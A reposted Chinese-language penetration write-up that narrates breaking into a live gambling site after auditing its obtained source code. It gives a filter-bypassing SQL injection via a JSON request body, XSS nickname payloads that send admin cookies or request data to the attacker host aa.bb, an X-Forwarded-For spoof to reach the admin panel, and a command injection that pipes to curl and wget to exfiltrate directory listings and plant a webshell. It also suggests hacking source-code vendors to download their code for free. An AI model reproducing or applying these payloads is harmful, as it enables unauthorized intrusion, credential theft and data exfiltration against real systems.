我們廢話不多說(shuō),直接看過(guò)程吧!
源碼的獲取來(lái)源我就不透露了,找下載這種源碼的站,想辦法把賣源碼的站擼了,然后免費(fèi)下載就完事了
目標(biāo)站點(diǎn)使用的源碼就是下面這套,名字就不透露了,主要分享審計(jì)思路和滲透思路

先來(lái)看看目錄結(jié)構(gòu)
Web前臺(tái)默認(rèn)解析的是main目錄Admin后臺(tái)管理解析的是admin目錄
然而一般bc站點(diǎn)都是前后臺(tái)分離,也就是前臺(tái)1.1.1.1的服務(wù)器,后臺(tái)2.2.2.2的服務(wù)器
然后使用的是同臺(tái)數(shù)據(jù)庫(kù)服務(wù)器
那我們先看main目錄
Index.php文件為入口文件

是pc端就跳到pcindex.php,繼續(xù)跟進(jìn)

看到包含了兩個(gè)文件,跟進(jìn)看看
Function.php

Conn.php

可以看到,function.php看名字就可以看出來(lái),函數(shù)庫(kù)
Conn.php文件存放著各種過(guò)濾方法
我們一個(gè)一個(gè)看
下面一整頁(yè),是conn.php提取出來(lái)的過(guò)濾函數(shù)
我們繼續(xù)看,我會(huì)一個(gè)一個(gè)講解




先看第一張圖

有PHP基礎(chǔ)的同學(xué)可以看到
GET,POST,COOKIE,REQUEST的全部獲取方法都調(diào)用了checksqlkey,我們跟進(jìn),

而當(dāng)我們一開(kāi)始認(rèn)為是過(guò)濾的時(shí)候,其實(shí)是錯(cuò)的,這里走的攔截
過(guò)濾可以繞,攔截很頭疼
可以看到checksqlkey只要匹配到了任意一個(gè)值,就會(huì)返回true
而一開(kāi)始的全局過(guò)濾
if(checkSqlKey($value)) exit("xxxxxxaccess denied!");
只要是碰到規(guī)則,就退出程序,輸出xxxxxaccess denied!
而checksqlkey這個(gè)函數(shù)變態(tài)到什么程度,拿其中一個(gè)值script做舉例
比如我們傳遞
Script 攔截Scripts 攔截Xscript 攔截這里可以看到,只要是出現(xiàn)了字眼,就給你干掉
然后繼續(xù)看,假設(shè)你繞過(guò)了checksqlkey方法,他還調(diào)用了StopAttack方法,如下圖

這里我就不分析了,大概原理跟前面分析的一樣
這里就只是全局的一個(gè)獲取而已。就自動(dòng)調(diào)用了這些過(guò)濾,我們繼續(xù)看pcindex.php還調(diào)用了啥
$referer=str_check($_GET['referer']);
找到str_check方法

可以看到,繼續(xù)調(diào)用攔截方法inject_check

然后在調(diào)用

那我們現(xiàn)在來(lái)梳理下思路
1、只要包含了conn.php文件的,就會(huì)自動(dòng)調(diào)用全局過(guò)濾
checkSqlKey函數(shù),StopAttack函數(shù),就是這兩個(gè)函數(shù)
2、只要調(diào)用了str_check方法的,就一定是包含了conn.php方法,并且調(diào)用額外的函數(shù)
checkSqlKey函數(shù),StopAttack函數(shù),inject_check函數(shù),htmldecode函數(shù),這四個(gè)函數(shù)
這里可以說(shuō)是無(wú)敵的了,你需要找另外的方法去繞過(guò)他才行,繞過(guò)的思路就是
1、不包含conn.php文件2、包含了conn.php文件,通過(guò)key去傳遞值,繞過(guò)value的檢測(cè)
簡(jiǎn)單的說(shuō)就是我們傳遞aa=bb,那么全局過(guò)濾函數(shù)檢查的是bb,而不去檢查aa
那我們開(kāi)始找文件,找可以繞過(guò)的



一路下來(lái),這么多個(gè)文件,一個(gè)一個(gè)細(xì)看
發(fā)現(xiàn)了一處可以繞過(guò)的地方,使用php偽協(xié)議繞過(guò)
我們跟進(jìn)文件查看

可以看到,這一處是包含了conn.php文件的,但是他有個(gè)可以繞過(guò)的辦法就是
File_get_contents(“php://input”)
這個(gè)利用的是php的偽協(xié)議獲取值
比如我們傳遞post內(nèi)容aaaaaa,那么就是獲取aaaaaa
而我們正常的post內(nèi)容應(yīng)該是aa=bb才對(duì)
那么這個(gè)點(diǎn)就可以繞過(guò)value的檢測(cè)
我們來(lái)看下burp下的情況,這里修改下代碼,輸出$postData值

可以看到?jīng)]有被全局過(guò)濾方法給攔截到
繼續(xù)看代碼

需要將$postData方法給json解碼,那么我們這里傳遞的肯定就是json格式的數(shù)據(jù)了

可以看到,獲取到了解碼后的值,并且沒(méi)有被攔截。
有同學(xué)可能會(huì)問(wèn),這不是傳遞了value值了嗎,我們輸出下$_POST方法看看

可以看到$_POST認(rèn)為我們傳遞的是整個(gè)參數(shù){"script":"script"},值是空
所以這里就可以天然繞過(guò)了
我們繼續(xù)看

看到sql語(yǔ)句那里,是拼接的,那么這里的注入肯定跑不了,別問(wèn),問(wèn)就是全局過(guò)濾攔不住我們
可以看到$id為int類型,$order_id是可控參數(shù),那么我們看是怎么獲取的
$attachArr= explode("_", $postDataArr['attach']);$order_id= $attachArr[1];
那我們只需要傳遞attach并且通過(guò)_分割值即可,取第一位賦值給$order_id
再看if條件
$params['resultcode']==0$params['resultcode'] =$postDataArr['resultcode'];
我們還需要傳遞個(gè)值resultcode=0即可
我們發(fā)送構(gòu)造的請(qǐng)求

可以看到完整的sql語(yǔ)句
參數(shù)為{"resultcode":"0","attach":"1_2_3"}修改payload參數(shù)為{"resultcode":"0","attach":"1_2'_3"}

可以看到,MySQL報(bào)錯(cuò)了
不過(guò)遺憾的是這里是盲注,不是顯注
然后就是注管理員賬號(hào)密碼的過(guò)程。過(guò)程比較簡(jiǎn)單,就不寫(xiě)了
我們?cè)趤?lái)整理下審計(jì)和滲透思路
1、有管理員賬號(hào)密碼了
2、找到后臺(tái)
3、Getshell
后臺(tái)怎么找呢,后臺(tái)不解析在同一臺(tái)機(jī)器的,只能XSS了
繼續(xù)看源碼去審計(jì)
發(fā)現(xiàn)了個(gè)有趣的文件,B.php

這個(gè)文件審計(jì)的過(guò)程就不講解了,大概的作用就是
會(huì)去實(shí)例化libindexaction下的類以及
corecontroller下的類
通過(guò)url來(lái)控制實(shí)例化哪個(gè)類哪個(gè)方法
比如
b.php?c=user&a=reg就是調(diào)用UserAction.php->reg()

那么我們來(lái)看doreg()
內(nèi)容比較長(zhǎng)我就只貼出關(guān)鍵的代碼
$nickname = Req::post('nickname');$nickname = str_replace("http","", $nickname);$nickname = str_replace("href","", $nickname);if ($nickname == "" ||strlen($nickname) > 20) { return $this->result(1, "昵稱錯(cuò)誤,長(zhǎng)度不超過(guò)20位!");}
這里就是單純的獲取post參數(shù)nickname
然后將http,href字眼替換為空,這個(gè)好繞過(guò)
問(wèn)題是長(zhǎng)度只能是20以內(nèi),包括20
我們看一個(gè)正常的xss payload
<script src=1.js></script>
就我上面的payload,都沒(méi)帶地址,就超過(guò)20了,并且script在全局過(guò)濾方法checkSqlKey里出現(xiàn)了,可以用別的payload
<img src=x onerror=.......>
所以說(shuō)這里,就別想著加載js文件,怎么都大于20個(gè)字符了
單單能把后臺(tái)給打出來(lái)就不錯(cuò)了
再改改payload
<img src=//aa.bb>
我們看上面的payload
加載img標(biāo)簽,訪問(wèn)http或https的aa.bb域名
我們只需要在aa.bb域名下默認(rèn)解析index.php文件即可
然后在index.php文件里獲取對(duì)方的ip port referer保存下來(lái)即可
但是這樣不穩(wěn)妥,因?yàn)楣芾韱T有點(diǎn)意識(shí)就會(huì)發(fā)現(xiàn)被人X了,看下圖

會(huì)有大概這樣的一個(gè)圖標(biāo),于是繼續(xù)找有沒(méi)有更好的辦法,沒(méi)有就只能用這個(gè)了
然后找到了mobile.php

細(xì)心的同學(xué)可以看到,代碼跟b.php一樣的
但是這里,他調(diào)用的是mobile端的代碼,我們來(lái)看看手機(jī)端的注冊(cè)代碼

可以看到比上面的b.php少了一行
if ($nickname =="" || strlen($nickname) > 20) { return $this->result(1, "昵稱錯(cuò)誤,長(zhǎng)度不超過(guò)20位!");}
這里可以看到?jīng)]有限制字符的長(zhǎng)度。那么舒服了,不限制長(zhǎng)度,有各種方法能繞過(guò)他
后來(lái)嘗試后發(fā)現(xiàn)出問(wèn)題了,于是在數(shù)據(jù)庫(kù)一看

Nickname的長(zhǎng)度只能是50以內(nèi),包括50。
一系列努力下,湊出了50個(gè)字符,能打cookie的代碼
<svg/onload="newImage().src=`//aa.bb/?`+cookie">
結(jié)果發(fā)現(xiàn)雙引號(hào)被轉(zhuǎn)義了。導(dǎo)致代碼出問(wèn)題。
就老老實(shí)實(shí)的
<img src=//aa.bb style=display:none;>
把img標(biāo)簽給隱藏下,增加下隱蔽性
最終,通過(guò)手機(jī)端注冊(cè),在昵稱處打入xss的payload,然后想辦法讓管理員看到,觸發(fā)即可
然后審計(jì)代碼,將網(wǎng)站目錄解析到admin,看后臺(tái)代碼

一個(gè)一個(gè)點(diǎn)的看,發(fā)現(xiàn)領(lǐng)取紅包處,以及投注處可以讓后臺(tái)管理員看到
就去用前面的注入點(diǎn),把紅包的領(lǐng)取碼注出來(lái),然后領(lǐng)取紅包后去投注
沒(méi)過(guò)多久,目標(biāo)后臺(tái)便被打出來(lái)了
當(dāng)我一訪問(wèn)后臺(tái)地址,您的ip不允許訪問(wèn)
就想了想,代碼是這樣獲取ip的

那么我們偽造XFF頭即可繞過(guò)限制
在我們的請(qǐng)求頭里設(shè)置對(duì)方管理員的ip即可
X-Forwarded-For: 123.123.123.123
然后就繞過(guò)了限制,看到了后臺(tái)登錄口了
把賬號(hào)密碼一輸,成功進(jìn)入后臺(tái)
那我們現(xiàn)在只差一步getshell了
找了半天,沒(méi)有文件上傳,修改配置文件處,也沒(méi)法閉合
繼續(xù)審計(jì),找到了個(gè)有趣的方法

這里執(zhí)行system函數(shù),并且我們能控制參數(shù)
那么這里命令執(zhí)行跑不了,怎么樣才能讓我們的命令執(zhí)行
這里我只貼出關(guān)鍵代碼,太長(zhǎng)了

當(dāng)post參數(shù)no不等于0,并且參數(shù)gametype不等于空即可

然后當(dāng)gametype不等于if里的某項(xiàng)值即可到達(dá)我們可以操控的位置

即進(jìn)入else分支
而我們的參數(shù)GameType調(diào)用了GetGameKindFromGameType方法,跟進(jìn)查看

只需要隨便挑個(gè)值即可,并且這個(gè)值,不等于if里的某項(xiàng)值
我這里就隨便挑了個(gè)值gamehg28
當(dāng)我們傳遞post請(qǐng)求參數(shù)為
No=1&GameType=gamehg28
就會(huì)進(jìn)入if分支,從而執(zhí)行代碼,如下圖

我們可以看到有兩個(gè)參數(shù)可以控制$cmd的值
一個(gè)是$No,一個(gè)是$kgno

而這兩個(gè)參數(shù)都是可以控制的,那我們控制最后一個(gè)參數(shù),方便控制cmd語(yǔ)句
傳遞參數(shù)并輸出$cmd來(lái)看看

可以看到輸出的cmd語(yǔ)句
這里講一下linux下的&&和||
比如
echo 1 && echo 2
表示輸出1成功后再輸出2

echo 1 || echo 2
表示輸出1失敗才去輸出2


可以看到上圖,cd一個(gè)不存在的目錄失敗,就會(huì)輸出2
那么有個(gè)問(wèn)題就是這里的代碼里的cmd命令是肯定可以成功執(zhí)行
我們用&&讓他繼續(xù)執(zhí)行我們的代碼即可,但是源碼里實(shí)體化編碼了&符號(hào)

可以看到變成了&
那么有沒(méi)有別的辦法能執(zhí)行我們的辦法呢
這里說(shuō)一下,一個(gè)|的作用
echo 1|echo 2

這里可以看到,輸出了2,我們?cè)倏?/p>
說(shuō)白了就是會(huì)執(zhí)行我們后面?zhèn)鬟f的參數(shù)
那我們構(gòu)造命令執(zhí)行的payload,把webshell下載到目標(biāo)機(jī)器上
no=1&gametype=gamehg28&action=open_gamelog&kgno=2|curlhttp://aa.bb:865

aa.bb的機(jī)器監(jiān)聽(tīng)865端口即可收到請(qǐng)求
這里有同學(xué)會(huì)說(shuō)寫(xiě)個(gè)一句話,>被實(shí)體化編碼了
然后使用wget去下載文件,發(fā)現(xiàn)我們的文件被下載到cd的目錄下了

cd /alidata/www/xxxx/caiji
那我們就得想辦法看路徑才行了
這里用curl來(lái)查看,因?yàn)閟ystem函數(shù)是無(wú)回顯的
Curl http://aa.bb:865/`ls|base64`
服務(wù)器端監(jiān)聽(tīng)865端口

可以看到收到的get請(qǐng)求為base64加密后的ls值
我們解開(kāi)看看即可

然后就一直看路徑,找到web根路徑即可,然后用wget把文件下載到目錄
即可getshell
總結(jié):
1.常規(guī)滲透,無(wú)果
2.找目標(biāo)源碼,并下載回來(lái)審計(jì)
3.審計(jì)到一個(gè)注入漏洞以及一個(gè)XSS
4.利用注入,注出管理員賬號(hào)密碼,然后利用XSS打到后臺(tái)
5.登錄后臺(tái),利用命令執(zhí)行漏洞,通過(guò)下載文件到方式成功拿到權(quán)限
作者:HACK_Learn
轉(zhuǎn)載自:https://www.secpulse.com/archives/122876.html